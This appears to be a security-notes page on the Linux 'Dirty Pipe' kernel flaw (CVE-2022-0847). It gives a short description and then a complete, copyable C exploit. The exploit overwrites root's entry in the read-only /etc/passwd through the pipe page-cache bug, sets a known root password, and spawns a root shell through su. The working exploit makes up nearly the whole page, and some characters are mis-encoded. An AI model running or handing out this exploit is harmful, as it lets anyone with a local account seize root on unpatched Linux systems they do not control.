๐Ÿ”ง
Dirty Pipe
CVE-2022-0847 is a Linux kernel vulnerability that allows overwriting data in arbitrary read-only files, which leads to privilege escalation because of unprivileged processes that can inject code into root processes. It's similar to โ€œDirty Cowโ€ but easier to exploit.
1
#define _GNU_SOURCE
2
#include <unistd.h>
3
#include <fcntl.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/stat.h>
8
#include <sys/user.h>
9
โ€‹
10
#ifndef PAGE_SIZE
11
#define PAGE_SIZE 4096
12
#endif
13
โ€‹
14
/**
15
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
16
* PIPE_BUF_FLAG_CAN_MERGE flag set.
17
*/
18
static void prepare_pipe(int p[2])
19
{
20
if (pipe(p)) abort();
21
โ€‹
22
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
23
static char buffer[4096];
24
โ€‹
25
/* fill the pipe completely; each pipe_buffer will now have
26
the PIPE_BUF_FLAG_CAN_MERGE flag */
27
for (unsigned r = pipe_size; r > 0;) {
28
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
29
write(p[1], buffer, n);
30
r -= n;
31
}
32
โ€‹
33
/* drain the pipe, freeing all pipe_buffer instances (but
34
leaving the flags initialized) */
35
for (unsigned r = pipe_size; r > 0;) {
36
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
37
read(p[0], buffer, n);
38
r -= n;
39
}
40
โ€‹
41
/* the pipe is now empty, and if somebody adds a new
42
pipe_buffer without initializing its "flags", the buffer
43
will be mergeable */
44
}
45
โ€‹
46
int main() {
47
const char *const path = "/etc/passwd";
48
โ€‹
49
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
50
FILE *f1 = fopen("/etc/passwd", "r");
51
FILE *f2 = fopen("/tmp/passwd.bak", "w");
52
โ€‹
53
if (f1 == NULL) {
54
printf("Failed to open /etc/passwd\n");
55
exit(EXIT_FAILURE);
56
} else if (f2 == NULL) {
57
printf("Failed to open /tmp/passwd.bak\n");
58
fclose(f1);
59
exit(EXIT_FAILURE);
60
}
61
โ€‹
62
char c;
63
while ((c = fgetc(f1)) != EOF)
64
fputc(c, f2);
65
โ€‹
66
fclose(f1);
67
fclose(f2);
68
โ€‹
69
loff_t offset = 4; // after the "root"
70
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
71
printf("Setting root password to \"aaron\"...\n");
72
const size_t data_size = strlen(data);
73
โ€‹
74
if (offset % PAGE_SIZE == 0) {
75
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
76
return EXIT_FAILURE;
77
}
78
โ€‹
79
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
80
const loff_t end_offset = offset + (loff_t)data_size;
81
if (end_offset > next_page) {
82
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
83
return EXIT_FAILURE;
84
}
85
โ€‹
86
/* open the input file and validate the specified offset */
87
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
88
if (fd < 0) {
89
perror("open failed");
90
return EXIT_FAILURE;
91
}
92
โ€‹
93
struct stat st;
94
if (fstat(fd, &st)) {
95
perror("stat failed");
96
return EXIT_FAILURE;
97
}
98
โ€‹
99
if (offset > st.st_size) {
100
fprintf(stderr, "Offset is not inside the file\n");
101
return EXIT_FAILURE;
102
}
103
โ€‹
104
if (end_offset > st.st_size) {
105
fprintf(stderr, "Sorry, cannot enlarge the file\n");
106
return EXIT_FAILURE;
107
}
108
โ€‹
109
/* create the pipe with all flags initialized with
110
PIPE_BUF_FLAG_CAN_MERGE */
111
int p[2];
112
prepare_pipe(p);
113
โ€‹
114
/* splice one byte from before the specified offset into the
115
pipe; this will add a reference to the page cache, but
116
since copy_page_to_iter_pipe() does not initialize the
117
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
118
--offset;
119
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
120
if (nbytes < 0) {
121
perror("splice failed");
122
return EXIT_FAILURE;
123
}
124
if (nbytes == 0) {
125
fprintf(stderr, "short splice\n");
126
return EXIT_FAILURE;
127
}
128
โ€‹
129
/* the following write will not create a new pipe_buffer, but
130
will instead write into the page cache, because of the
131
PIPE_BUF_FLAG_CAN_MERGE flag */
132
nbytes = write(p[1], data, data_size);
133
if (nbytes < 0) {
134
perror("write failed");
135
return EXIT_FAILURE;
136
}
137
if ((size_t)nbytes < data_size) {
138
fprintf(stderr, "short write\n");
139
return EXIT_FAILURE;
140
}
141
โ€‹
142
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
143
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
144
"cp /tmp/passwd.bak /etc/passwd;"
145
"echo \\\"Done! Popping shell... (run commands now)\\\";"
146
"/bin/sh;"
147
"\" root"};
148
execv("/bin/sh", argv);
149
โ€‹
150
printf("system() function call seems to have failed :(\n");
151
return EXIT_SUCCESS;
152
}
Copied!
Resource:
The Dirty Pipe Vulnerability โ€” The Dirty Pipe Vulnerability documentation
Copy link